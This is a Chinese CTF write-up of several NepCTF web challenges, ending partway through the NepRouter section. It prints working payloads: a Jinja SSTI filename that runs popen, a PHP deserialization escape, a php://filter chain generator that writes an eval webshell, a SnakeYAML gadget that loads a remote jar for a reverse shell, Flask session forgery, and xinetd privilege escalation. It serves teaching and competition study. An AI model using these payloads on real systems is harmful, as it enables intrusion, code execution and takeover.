WEB

NepDouble

源码:

from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader

app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):
template = template_env.get_template(template_name)
return template.render(**context)

def render_template_string(template_string, **context):
template = template_env.from_string(template_string)
return template.render(**context)


@app.route('/', methods=['GET', 'POST'])
def main():
if request.method != "POST":
return 'Please use POST method to upload files.'

try:
clear_uploads_folder()
files = request.files.get('tp_file', None)
if not files:
return 'No file uploaded.'

file_size = len(files.read())
files.seek(0)


file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'


timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)


with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)

files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)

return render_template_string('<br>'.join(files_list))

except ValueError:
return 'Invalid filename.'

except Exception as e:
return 'An error occurred. Please check your file and try again.'


@app.route('/cat')
def cat():
file_path = request.args.get('file')
if not file_path:
return 'File path is missing.'

new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
return 'Invalid file path.'

if os.path.islink(new_file):
return 'Symbolic links are not allowed.'

try:
filename = file_path.split('/')[-1]
content = read_large_file(new_file)
return render_template('test.html',content=content,filename=filename,dates=Exec_date())
except FileNotFoundError:
return 'File not found.'
except IOError as e:
return f'Error reading file: {str(e)}'

def Exec_date():
d_res = os.popen('date').read()
return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]

def clear_uploads_folder():
for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
for file in files:
os.remove(os.path.join(root, file))
for dir in dirs:
os.rmdir(os.path.join(root, dir))

def read_large_file(file_path):
content = ''
with open(file_path, 'r') as file:
for line in file:
content += line
return content

if __name__ == '__main__':
app.run('0.0.0.0',port="8000",debug=False)

审计源码,可以发现这一句话

return render_template_string('<br>'.join(files_list))

这里的file_list是上传的压缩包里的文件名,是可控的,因此可以利用这个来ssti,没有过滤

创建文件,文件名是payload

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}.txt

然后将它压缩成zip,接着上传,上传成功后,即可得到flag。

image-20240824162455019

上传需要自己写一个上传表单

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传表单</title>
</head>
<body>
<h2>文件上传表单</h2>
<form action="https://neptune-14493.nepctf.lemonprefect.cn/" method="post" enctype="multipart/form-data">
<label for="tp_file">选择文件:</label>
<input type="file" id="tp_file" name="tp_file" required>
<br><br>
<input type="submit" value="上传文件">
</form>
</body>
</html>

PHP_MASTER!!

源码:

<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);

}
}
}


class B
{

public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}

}
}
class C
{

public $s;

public $str;

public function __construct($s)
{
$this->s = $s;
}

public function __destruct()
{


echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

先是反序列化逃逸和一些反序列化的特性

参考链接:php反序列化

先在本地构造pop链,得到一个正常的序列化字符串

<?php
highlight_file( __FILE__);

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key="\0key\0";
public function readflag(){
echo $this->key;
if($this->key=== "\0key\0"){
echo "readflag";
$a = $_POST[1];
$contents = file_get_contents($a);
var_dump(urlencode($contents));
var_dump(file_put_contents($a, $contents));

}
}
}


class B
{

public $b;
public function __tostring()
{
echo "__tostring";
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
echo "yes";
var_dump($this->b);
return ($this->b) ();
}

}
}
class C
{

public $s;

public $str;

public function __construct($s)
{
$this->s = $s;
}

public function __destruct()
{


echo $this ->str;
}
}

$a = new C('a');
$a->str = new B();
$a->str->b=array(0=>new A(),1=>"readflag");

echo (serialize($a));
// O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}

接着对这个字符串进行处理,先截取出我们想要的部分

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}

再接着修改一下key的属性和值

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

最后根据字符串的总长度,生成逃逸字符

str = '";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\\00key\\00";}i:1;s:8:"readflag";}}}'
print('%00'*len(str) + str)

得到:

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

发送过去,逃逸成功

image-20240824163313840

接着是这部分代码

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

public function __tostring()
{
echo "__tostring";
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
echo "yes";
var_dump($this->b);
return ($this->b) ();
}

}

参考链接:ctfshow_XGCTF_西瓜杯

每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

构造出合适的payload即可

nep1=%f0abc%f0abc%f0abc%f0%9f%9fa&nep=Nep

最后是readflag函数

public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);

}
}

可以利用伪协议在index.php里面写马

exp:

<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

得到

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php

放到 1里面发送过去,即可写马成功

image-20240824164035342

查看 env 得到flag

image-20240824164104211

Always RCE First

一个漏洞复现

参考链接:Spring Cloud Data Flow 漏洞分析(CVE-2024-22263|CVE-2024-37084)

按照文件的操作,先创建一个package.yaml

apiVersion: 1.0.0
origin: my origin
repositoryId: 12345
repositoryName: local
kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://xxx/yaml-payload.jar"]]]]
name: test1
version: 1.1.1

然后创建一个test-1.1.1,一起压缩进一个压缩包

接着用脚本转换得到 packageFileAsBytes

def zip_to_byte_list(zip_file_path):
with open(zip_file_path, 'rb') as file:
zip_data = file.read()
return [byte for byte in zip_data]

zip_file_path = 'test-1.1.1.zip'
zip_byte_list = zip_to_byte_list(zip_file_path)
print(zip_byte_list)

接着在这个 项目 下载源码并修改,修改完成后打包成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把 jar包放服务器,并用python启动一个http服务

python3 -m http.server 2333

发包

image-20240824213816687

反弹shell成功,直接读flag即可

image-20240824212528847

蹦蹦炸弹(boom_it)

审计源码,可以看到在/admin/dashboard 路由下可以RCE


@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))

if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'

cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"): # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


在次之前,要先保证session.get('admin_logged_in')成立,发现源码已经给了app.secret_key = "super_secret_key",那么可以直接 session伪造

{'username': 'HRP','admin_logged_in': true}

python flask_session_cookie_manager3.py encode -s super_secret_key -t "{'username': 'HRP','admin_logged_in': True}"

eyJ1c2VybmFtZSI6IkhSUCIsImFkbWluX2xvZ2dlZF9pbiI6dHJ1ZX0.Zsnvog.93hWSohyVwbqbd_9ZWvkmuhrBHg

然后用一个前端上传文件,抓包,修改上传文件名为../../lock.txt,并带上 Cookie

image-20240825182446670

上传成功后,即可RCE

image-20240825182535622

反弹shell,然后发现flag没权限读取

image-20240825183146806

查看进程

ps -axu

image-20240825183221657

再结合提示,观察有哪些应用是 root 启动的,可以看到一个/usr/sbin/xinetd

去查找它对应配置文件的位置(拷打GPT)

image-20240825183427921

查看etc/xinetd.d/

image-20240825183531028

可以看到pwnservice有写入的权限,查看pwnservice

image-20240825183633124

可以看到是通过8888端口建立了连接

这里可以通过修改pwnserviceserver_args = -c "/home/ctfuser/start.sh"/bin/sh,nc连接上就是root,也可以像我这样修改/home/ctfuser/start.sh,我们也有/home/ctfuser/start.sh的写权限

修改/home/ctfuser/start.sh

echo ";chmod 777 /home/ctfuser/*" >> /home/ctfuser/start.sh

image-20240825183956397

然后建立与8888端口的socket连接,让脚本执行。

用python建立 socket 连接 (也可以用nc,一开始没注意到)

python3 -c "import socket;sock = socket.socket();sock.connect(('127.0.0.1', 8888));"

nc 127.0.0.1 8888

image-20240825184136904

成功获得flag的读取权限,直接查看即可得到flag

NepRouter

NepRouter-狸猫换太子

按照要求建立好连接(

我这里是用 bp 来代理的,后边都是用 bp 的内置浏览器做题

image-20240825190334160

先把执行一次注册+登陆的操作

随便上传一个文件,之后成功注册TEST用户,然后登陆上去。

点击Download Now 能下载下来一个文件,

同时点进/about,通过审查源码,发现有一个8080端口。

image-20240825190558492

这里就会出现一个问题,如果直接访问8080,会报Burp Suite Professional,因为bp占用了8080端口,需要修改一下 bp 的监听端口

image-20240825190800692

在这里将 8080 改成 8081,接着回到浏览器,访问127.0.0.1:8080,来到一个新页面

image-20240825191313445

接着分析下载下来的文件,用 ida 分析

翻看到sub_1ACE函数,可以看到一个用户名

image-20240825191526205

那么接下来应该要伪造这个用户。

接着回到 5000 端口的网站,翻看 BP 的历史访问记录,可以看到在点击注册时,会发送一个加密后的用户名

image-20240825191753174

重新回到发送register前,观察前端,发现当我们上传完文件后,前端会出现一个TEST,再次点击注册,就会注册成功TEST用户,猜测它加密时用的字符串是从这个位置取的

image-20240825192008292

